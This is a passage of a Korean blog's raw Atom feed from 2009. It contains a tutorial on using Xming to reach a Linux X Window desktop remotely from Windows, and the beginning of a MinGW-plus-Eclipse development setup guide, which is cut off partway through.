실행하자&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2513875003853039748-8311279201648641854?l=webhack119.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://webhack119.blogspot.com/feeds/8311279201648641854/comments/default' title='댓글'/><link rel='replies' type='text/html' href='http://webhack119.blogspot.com/2009/03/java-path.html#comment-form' title='0개의 덧글'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2513875003853039748/posts/default/8311279201648641854'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2513875003853039748/posts/default/8311279201648641854'/><link rel='alternate' type='text/html' href='http://webhack119.blogspot.com/2009/03/java-path.html' title='CentOS 5.2에서 Eclipse 설치하기'/><author><name>Web Application Firewall</name><uri>http://www.blogger.com/profile/03811311502795347014</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2513875003853039748.post-5820206674078131527</id><published>2009-03-18T23:34:00.000-07:00</published><updated>2009-03-18T23:35:44.779-07:00</updated><title type='text'>Xming으로 Windows에서 Xwindow를 원격접속하기</title><content type='html'>&lt;span style="font-size:85%;"&gt;&lt;span style="font-family: arial;"&gt;혹시나 Windows 원격 접속을 해 보신 적이 있나요?&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;MicroSoft사의 WindowsXP에서는 Windows 원격 데스크탑 접속을 할 수 있습니다. 서버로 사용하는 컴퓨터에 원격 접속 설정을 하면 학교 연구실에 있는 컴퓨터를 계속 켜고 퇴근한 후에 집에서 노트북으로 학교 연구실 컴퓨터에 접속해서 원격으로 작업을 할 수 있는 장점이 있습니다.&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;  &lt;div class="imageblock center" style="text-align: center; clear: both; font-family: arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;a linkindex="14" href="http://cfs13.tistory.com/upload_control/download.blog?fhandle=YmxvZzE0MDA2NEBmczEzLnRpc3RvcnkuY29tOi9hdHRhY2gvMy8zMjUuUE5H" rel="lightbox" target="_blank"&gt;&lt;img src="http://cfs13.tistory.com/upload_control/download.blog?fhandle=YmxvZzE0MDA2NEBmczEzLnRpc3RvcnkuY29tOi9hdHRhY2gvMy8zMjUuUE5H" alt="원격 데스크톱 연결" width="479" height="226" /&gt;&lt;/a&gt;&lt;/span&gt;&lt;p class="cap1"&gt;&lt;span style="font-size:85%;"&gt;Window에서는 원격으로 Windows를 연결하여 원격 작업을 할 수 있습니다.&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt; 그렇다만 Linux 컴퓨터는 Xwindow가 설치되어 있는데 Windows에서 Linux컴퓨터의 Xwindow를 원격으로 실행 시킬까요?&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;여러가지 방법 중에서 VNC를 사용하는 방법이 있지만, VNC demon을 실행시키지 않으면 Windows에서 Linux컴퓨터의 Xwindow 실행시킬수 없습니다.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt; 여기서는 Windows에서 Xming을 설치한 다음 Xming을 이용하여 쉽게 Linux컴퓨터의 Xwindow를 원격으로 실행하는 방법을 알려드리겠습니다.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-family: arial;"&gt;&lt;/span&gt;&lt;/span&gt;   &lt;div class="txc-textbox" style="border: 1px solid rgb(159, 211, 49); padding: 10px; background-color: rgb(231, 253, 181); font-family: arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-weight: bold;"&gt;※ Xming이란?&lt;/span&gt;&lt;br /&gt;&lt;a linkindex="15" title="[http://en.wikipedia.org/wiki/Xming]로 이동합니다." href="http://en.wikipedia.org/wiki/Xming" target="_blank"&gt;Wikipedia : Xming&lt;/a&gt;&lt;br /&gt;&lt;a linkindex="16" title="[http://www.straightrunning.com/XmingNotes/]로 이동합니다." href="http://www.straightrunning.com/XmingNotes/" target="_blank"&gt;배포사이트 : http://www.straightrunning.com/XmingNotes/&lt;/a&gt;&lt;br /&gt;Xming는 Windows용 X Server입니다.&lt;br /&gt;Microsoft사의 Windows에서 Xwindow용 프로그램을 출력할 수 있도록 해주는 화면 출력 서버입니다.&lt;br /&gt;Microsoft사의 Windows에서 Linux 컴퓨터안의 X Window 프로그램을 화면에 출력할 수 있는 서버인 Xming을 설치하면 리눅스 프로그램도 Microsoft사의 Windows에서 실행 할 수 있습니다.&lt;br /&gt;Windows에서 리눅스 프로그램을 실행하는 것처럼 보이지만, 실제 실행은 리눅스 컴퓨터에서 하고, 다만 X Server는 프로그램에서 전송하는 화면을 출력하고, 사용자의 키보드나 마우스와 같은 입력을 프로그램 쪽으로 전송해 주는 역할을 합니다.&lt;br /&gt;&lt;/span&gt;   &lt;/div&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;/span&gt;  &lt;p class="jwTitle" style="font-weight: bold; font-family: arial;"&gt;&lt;span style="font-size:85%;"&gt;Xming 설치 및 실행&lt;/span&gt;&lt;/p&gt; &lt;ol style="font-family: arial;"&gt;&lt;li&gt;&lt;span style="font-size:85%;"&gt;&lt;a linkindex="17" href="http://sourceforge.net/projects/xming" target="_blank"&gt;http://sourceforge.net/projects/xming&lt;/a&gt;&lt;br /&gt;&lt;/span&gt; &lt;/li&gt;&lt;li&gt;&lt;span style="font-size:85%;"&gt;Xming 설치. &lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-size:85%;"&gt;Xming-fonts 설치.&lt;/span&gt;&lt;/li&gt;&lt;/ol&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-family: arial;"&gt;여기서 Test한 환경은&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt; Windows XP와 CentOS 5입니다.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;1. 우선 XLaunch를 띄웁니다.&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;  &lt;div class="imageblock center" style="text-align: center; clear: both; font-family: arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;a linkindex="18" href="http://cfs15.tistory.com/upload_control/download.blog?fhandle=YmxvZzE0MDA2NEBmczE1LnRpc3RvcnkuY29tOi9hdHRhY2gvMy8zMTIuUE5H" rel="lightbox" target="_blank"&gt;&lt;img src="http://cfs15.tistory.com/upload_control/download.blog?fhandle=YmxvZzE0MDA2NEBmczE1LnRpc3RvcnkuY29tOi9hdHRhY2gvMy8zMTIuUE5H" alt="" width="400" height="105" /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-family: arial;"&gt;2. Display settings에서 &lt;/span&gt;&lt;strong style="font-family: arial;"&gt;One window without titlebar&lt;/strong&gt;&lt;span style="font-family: arial;"&gt;를 선택합니다.&lt;/span&gt;&lt;br /&gt;&lt;/span&gt; &lt;div class="imageblock center" style="text-align: center; clear: both; font-family: arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;a linkindex="19" href="http://cfs10.tistory.com/upload_control/download.blog?fhandle=YmxvZzE0MDA2NEBmczEwLnRpc3RvcnkuY29tOi9hdHRhY2gvMi8yODEuUE5H" rel="lightbox" target="_blank"&gt;&lt;img src="http://cfs10.tistory.com/upload_control/download.blog?fhandle=YmxvZzE0MDA2NEBmczEwLnRpc3RvcnkuY29tOi9hdHRhY2gvMi8yODEuUE5H" alt="" width="514" height="379" /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt; 3. 데스크탑에서&lt;/span&gt;&lt;span class="__noscriptOpaqued__" id="callbacknestblogstudioegoinfo4175387" style="width: 1px; height: 1px; float: right; font-family: arial;"&gt;&lt;/span&gt;&lt;span style="font-family: arial;"&gt; Xwindow를 실행시킬려면 &lt;/span&gt;&lt;strong style="font-family: arial;"&gt;Start a program&lt;/strong&gt;&lt;span style="font-family: arial;"&gt;을 선택합니다.&lt;/span&gt;&lt;br /&gt;&lt;/span&gt; &lt;div class="imageblock center" style="text-align: center; clear: both; font-family: arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;a linkindex="20" href="http://cfs12.tistory.com/upload_control/download.blog?fhandle=YmxvZzE0MDA2NEBmczEyLnRpc3RvcnkuY29tOi9hdHRhY2gvMi8yOTguUE5H" rel="lightbox" target="_blank"&gt;&lt;img src="http://cfs12.tistory.com/upload_control/download.blog?fhandle=YmxvZzE0MDA2NEBmczEyLnRpc3RvcnkuY29tOi9hdHRhY2gvMi8yOTguUE5H" alt="" width="514" height="379" /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt; 4. 여기서 Xwindow환경을 실행할때에 Gnome를 실행하려면 Start Program에서 gnome-session을 넣고 KDE를 실행하려면 startkde를 넣으시면 됩니다.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt; 원격접속할때에는 Run Remote에서 Using Putty를 선택하여 IP와 ID, Password를 넣으시면 됩니다.&lt;/span&gt;&lt;br /&gt;&lt;/span&gt; &lt;div class="imageblock center" style="text-align: center; clear: both; font-family: arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;a linkindex="21" href="http://cfs14.tistory.com/upload_control/download.blog?fhandle=YmxvZzE0MDA2NEBmczE0LnRpc3RvcnkuY29tOi9hdHRhY2gvMy8zMDMuUE5H" rel="lightbox" target="_blank"&gt;&lt;img src="http://cfs14.tistory.com/upload_control/download.blog?fhandle=YmxvZzE0MDA2NEBmczE0LnRpc3RvcnkuY29tOi9hdHRhY2gvMy8zMDMuUE5H" alt="" width="514" height="379" /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt; 5. Clipboard를 원격접속하는 곳에서 쓸려면 선택합니다.&lt;/span&gt;&lt;br /&gt;&lt;/span&gt; &lt;div class="imageblock center" style="text-align: center; clear: both; font-family: arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;a linkindex="22" href="http://cfs13.tistory.com/upload_control/download.blog?fhandle=YmxvZzE0MDA2NEBmczEzLnRpc3RvcnkuY29tOi9hdHRhY2gvMy8zMjYuUE5H" rel="lightbox" target="_blank"&gt;&lt;img src="http://cfs13.tistory.com/upload_control/download.blog?fhandle=YmxvZzE0MDA2NEBmczEzLnRpc3RvcnkuY29tOi9hdHRhY2gvMy8zMjYuUE5H" alt="" width="514" height="379" /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt; 6. 이제 셋팅이 끝났습니다.&lt;/span&gt;&lt;br /&gt;&lt;/span&gt; &lt;div class="imageblock center" style="text-align: center; clear: both; font-family: arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;a linkindex="23" href="http://cfs11.tistory.com/upload_control/download.blog?fhandle=YmxvZzE0MDA2NEBmczExLnRpc3RvcnkuY29tOi9hdHRhY2gvMi8yOTMuUE5H" rel="lightbox" target="_blank"&gt;&lt;img src="http://cfs11.tistory.com/upload_control/download.blog?fhandle=YmxvZzE0MDA2NEBmczExLnRpc3RvcnkuY29tOi9hdHRhY2gvMi8yOTMuUE5H" alt="" width="514" height="379" /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;strong style="font-family: arial;"&gt;결과 화면&lt;/strong&gt;&lt;br /&gt;&lt;/span&gt;  &lt;div class="imageblock center" style="text-align: center; clear: both; font-family: arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;a linkindex="24" href="http://cfs11.tistory.com/upload_control/download.blog?fhandle=YmxvZzE0MDA2NEBmczExLnRpc3RvcnkuY29tOi9hdHRhY2gvMi8yOTQuUE5H" rel="lightbox" target="_blank"&gt;&lt;img src="http://cfs11.tistory.com/upload_control/download.blog?fhandle=YmxvZzE0MDA2NEBmczExLnRpc3RvcnkuY29tOi9hdHRhY2gvMi8yOTQuUE5H" alt="" style="cursor: pointer;" width="620" height="387" /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt;ps1. Xmanager같은 비싼 프로그램이 한글지원도 편하게 되어서 사용하기에 좋긴 하지만, 학생이고 오픈소스로 공개된 Xming을 오픈소스 프로그램인 iPutty에 연결해 씁니다. 있을 것은 다 있는 오픈소스 프로그램들이라서 굳이 불법으로 쓸 필요는 없으니깐요.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;"&gt; ps2. Xming때문에 학교 안나오고 집에서 작업 한 후에 교수님에게 작업한 결과물을 보여주면서 학교는 나왔습니다 하면서 땡땡이 칠 수 있는 장점도 있습니다!&lt;/span&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2513875003853039748-5820206674078131527?l=webhack119.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://webhack119.blogspot.com/feeds/5820206674078131527/comments/default' title='댓글'/><link rel='replies' type='text/html' href='http://webhack119.blogspot.com/2009/03/xming-windows-xwindow.html#comment-form' title='0개의 덧글'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2513875003853039748/posts/default/5820206674078131527'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2513875003853039748/posts/default/5820206674078131527'/><link rel='alternate' type='text/html' href='http://webhack119.blogspot.com/2009/03/xming-windows-xwindow.html' title='Xming으로 Windows에서 Xwindow를 원격접속하기'/><author><name>Web Application Firewall</name><uri>http://www.blogger.com/profile/03811311502795347014</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2513875003853039748.post-4067914672965950312</id><published>2009-03-18T21:14:00.000-07:00</published><updated>2009-03-18T21:18:21.243-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Eclipse'/><title type='text'>MinGW + Eclipse 를 이용한 Windows 개발 환경 구현</title><content type='html'>&lt;p  align="center" style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;img src="http://cafefiles.naver.net/data30/2008/5/21/265/eclipse_ppchun.gif" id="userImg5386674" style="width: 505px; height: 338px;" name="cafeuserimg" onload="'setTimeout(" onclick="popview(this)" /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt;어떻게 첫번째 포스트가 개발 환경 구현이 되었습니다 ^^&lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt;이것이 필요 했던 이유는.. 저또한 그랬지만, 어디선가 들리는 불법 다운로드의 유혹이 다가오는 ^^&lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt; &lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt;요즘들어 라이센스 문제 때문에 상용버전 쓰기가 은근히 꺼려 지더군요.&lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt;(그렇다고 다 포기한건 아니지만..)&lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt; &lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt;그 이유도 있었지만, visual studio .net 2008을 쓰면서 느꼈던건 너무 무겁다는 거였구요.&lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt;처음 실행부터 버벅 거림이 보여 새로운 툴을 찾게 되었습니다.&lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt; &lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt;그러다 걸린것이 Eclipse 와 MinGW 를 이용한 환경구축 이었습니다.&lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt; &lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt;첫페이지를 이걸로 하겠습니다. 어쩌면 저와 같은 생각을 가지신 분들도 있을거 같아 ^^&lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt; &lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;strong&gt;&lt;span style="font-size:18;"&gt;1. MinGW 설치&lt;/span&gt;&lt;/strong&gt;&lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt; &lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt;Download -- &lt;a target="_blank" href="http://www.mingw.org/"&gt;http://www.mingw.org/&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt;(Downloads 섹션내의  downloads 부분을 보면 "sourceforge file Release" 부분을 클릭하면 됩니다)&lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt; &lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt;다운로드가 완료되면 136KB 정도의 작은 실행화일이 있습니다.(인스톨러 화일로 설치시 다운로드되면서 설치됩니다.)&lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt;더블클릭하면 설치가 진행됩니다.&lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt;  &lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt; &lt;strong&gt;&lt;span style="font-size:11;"&gt; MinGW 설치과정&lt;/span&gt;&lt;/strong&gt;&lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;strong&gt;&lt;span style="font-size:11;"&gt;&lt;img src="http://cafefiles.naver.net/data30/2008/5/22/209/mingw1_ppchun.gif" id="userImg7853397" style="width: 502px; height: 393px;" name="cafeuserimg" onload="'setTimeout(" onclick="popview(this)" /&gt;&lt;/span&gt;&lt;/strong&gt;&lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;strong&gt;&lt;span style="font-size:11;"&gt;&lt;span style="font-size:10;"&gt;1.NEXT 를 눌러 진행합니다&lt;/span&gt;.&lt;/span&gt;&lt;/strong&gt;&lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;strong&gt;&lt;span style="font-size:11;"&gt;&lt;/span&gt;&lt;/strong&gt; &lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;strong&gt;&lt;span style="font-size:11;"&gt;&lt;img src="http://cafefiles.naver.net/data30/2008/5/22/93/mingw1_%281%29_ppchun.gif" id="userImg5007357" style="width: 504px; height: 393px;" name="cafeuserimg" onload="'setTimeout(" onclick="popview(this)" /&gt;&lt;/span&gt;&lt;/strong&gt;&lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;strong&gt;&lt;span style="font-size:10;"&gt;2.다운로드와 설치를 같이 진행함으로 표시합니다. NEXT&lt;/span&gt;&lt;/strong&gt;&lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;strong&gt;&lt;span style="font-size:11;"&gt;&lt;/span&gt;&lt;/strong&gt; &lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;strong&gt;&lt;span style="font-size:11;"&gt;&lt;img src="http://cafefiles.naver.net/data30/2008/5/22/199/mingw1_%282%29_ppchun.gif" id="userImg839450" style="width: 505px; height: 396px;" name="cafeuserimg" onload="'setTimeout(" onclick="popview(this)" /&gt;&lt;img src="http://cafefiles.naver.net/data30/2008/5/22/171/mingw1_%283%29_ppchun.gif" id="userImg6787513" style="width: 502px; height: 395px;" name="cafeuserimg" onload="'setTimeout(" onclick="popview(this)" /&gt;&lt;/span&gt;&lt;/strong&gt;&lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;strong&gt;&lt;span style="font-size:10;"&gt;3.MinGW 버전을 고르는 곳입니다 Current 를 선택하고 NEXT&lt;/span&gt;&lt;/strong&gt;&lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;strong&gt;&lt;span style="font-size:11;"&gt;&lt;/span&gt;&lt;/strong&gt; &lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;strong&gt;&lt;span style="font-size:11;"&gt;&lt;img src="http://cafefiles.naver.net/data30/2008/5/22/165/mingw1_%284%29_ppchun.gif" id="userImg8951446" style="width: 504px; height: 396px;" name="cafeuserimg" onload="'setTimeout(" onclick="popview(this)" /&gt;&lt;/span&gt;&lt;/strong&gt;&lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;strong&gt;&lt;span style="font-size:10;"&gt;4. 설치할 컴파일러를 설정하는 곳입니다.&lt;/span&gt;&lt;/strong&gt;&lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;strong&gt;&lt;span style="font-size:11;"&gt;  &lt;span style="font-size:10;"&gt;- 기본적으로 위의 체크를 하시면 됩니다. 그리고 화면에는 잘려있지만,&lt;/span&gt;&lt;/span&gt;&lt;/strong&gt;&lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;strong&gt;&lt;span style="font-size:11;"&gt;   &lt;span style="font-size:10;"&gt; &lt;/span&gt;&lt;span style="font-size:10;"&gt; &lt;/span&gt;&lt;span style="font-size:11;"&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;(중요!!)&lt;/span&gt; &lt;/span&gt;&lt;span style="font-size:10;"&gt;MinGW Make는 설치 하지 않습니다.(JAVA 는 필요하시면 설치를..)&lt;/span&gt;&lt;/span&gt;&lt;/strong&gt;&lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;strong&gt;&lt;span style="font-size:11;"&gt;&lt;/span&gt;&lt;/strong&gt; &lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;strong&gt;&lt;span style="font-size:11;"&gt;&lt;img src="http://cafefiles.naver.net/data31/2008/5/22/29/mingw1_%285%29_ppchun.gif" id="userImg29724" style="width: 504px; height: 393px;" name="cafeuserimg" onload="'setTimeout(" onclick="popview(this)" /&gt;&lt;/span&gt;&lt;/strong&gt;&lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;strong&gt;&lt;span style="font-size:11;"&gt;&lt;/span&gt;&lt;/strong&gt; &lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;strong&gt;&lt;span style="font-size:10;"&gt;5. MinGW 설치할 폴더를 선택 해주면 됩니다. &lt;/span&gt;&lt;/strong&gt;&lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;strong&gt;&lt;span style="font-size:10;"&gt;   그리고 이 폴더를 잘 기억해 두세요.^^&lt;/span&gt;&lt;/strong&gt;&lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;strong&gt;&lt;span style="font-size:11;"&gt;&lt;/span&gt;&lt;/strong&gt; &lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;strong&gt;&lt;span style="font-size:10;"&gt;이제 다운로드를 받으면서 설치를 합니다.&lt;/span&gt;&lt;/strong&gt;&lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt; &lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-size:14;"&gt;&lt;strong&gt;&lt;span style="font-size:18;"&gt;2. MinGW Debugger 설치&lt;/span&gt;&lt;/strong&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt; &lt;span style="font-size:10;"&gt;- 1번 설치 과정에서는 디버거 설치가 되어 있지 않습니다.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-size:10;"&gt;    &lt;/span&gt;&lt;span style="font-size:10;"&gt;다운로드 url -- &lt;/span&gt;&lt;a target="_blank" href="http://sourceforge.net/project/showfiles.php?group_id=2435"&gt;&lt;span style="font-size:10;"&gt;http://sourceforge.net/project/showfiles.php?group_id=2435&lt;/span&gt;&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-size:10;"&gt;    위 홈페이지에 접속하면 MingGW 관련 화일들을 다운로드 할 수 있습니다. &lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-size:10;"&gt;    위 홈페이지에서 아래 두가지 화일을 다운 받아야 합니다.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-size:10;"&gt;    &lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;span&gt;    1. 홈페이지의 File Release 부분에서 &lt;span style="color: rgb(97, 185, 119);"&gt;&lt;strong&gt;GNU Source-Level Debugger&lt;/strong&gt; &lt;/span&gt;&lt;span style="font-size:10;"&gt;탭에&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;span&gt;&lt;span style="font-size:10;"&gt;       Latest Release Candidate:GDB 6.8-3 부분의 &lt;strong&gt;&lt;span style="font-size:10;"&gt;"gdb-6.8-mingw-3.tar.bz2"&lt;/span&gt;&lt;/strong&gt;&lt;span style="font-size:10;"&gt; &lt;/span&gt;파일을 다운로드 합니다.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;span&gt;&lt;span style="font-size:10;"&gt;&lt;/span&gt;&lt;/span&gt; &lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;span&gt;&lt;span style="font-size:10;"&gt;    2. 좀더 아래쪽에 보면 MSYS 관련 부분이 있습니다. &lt;span style="color: rgb(97, 185, 119);"&gt;&lt;strong&gt;MSYS Base System&lt;/strong&gt; &lt;/span&gt;부분 아래쪽에&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;span&gt;&lt;span style="font-size:10;"&gt;       &lt;strong&gt;Current Release:msys-1.0.10 &lt;/strong&gt;탭이 있습니다. (이 부분이 "+"로 접혀 있으면 "+" 를 클릭하세요)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;span&gt;&lt;span style="font-size:10;"&gt;       &lt;strong&gt;MSYS-1.0.10.exe&lt;/strong&gt; 를 다운 받으세요 &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p  style="font-family:arial;"&gt;&lt;span style="font-size:85%;"&gt;&lt;span&gt;&lt;span style="font-size:10;"&gt;    3. 기본적인 MinGW 환경을 위한 설치 화일은 모두 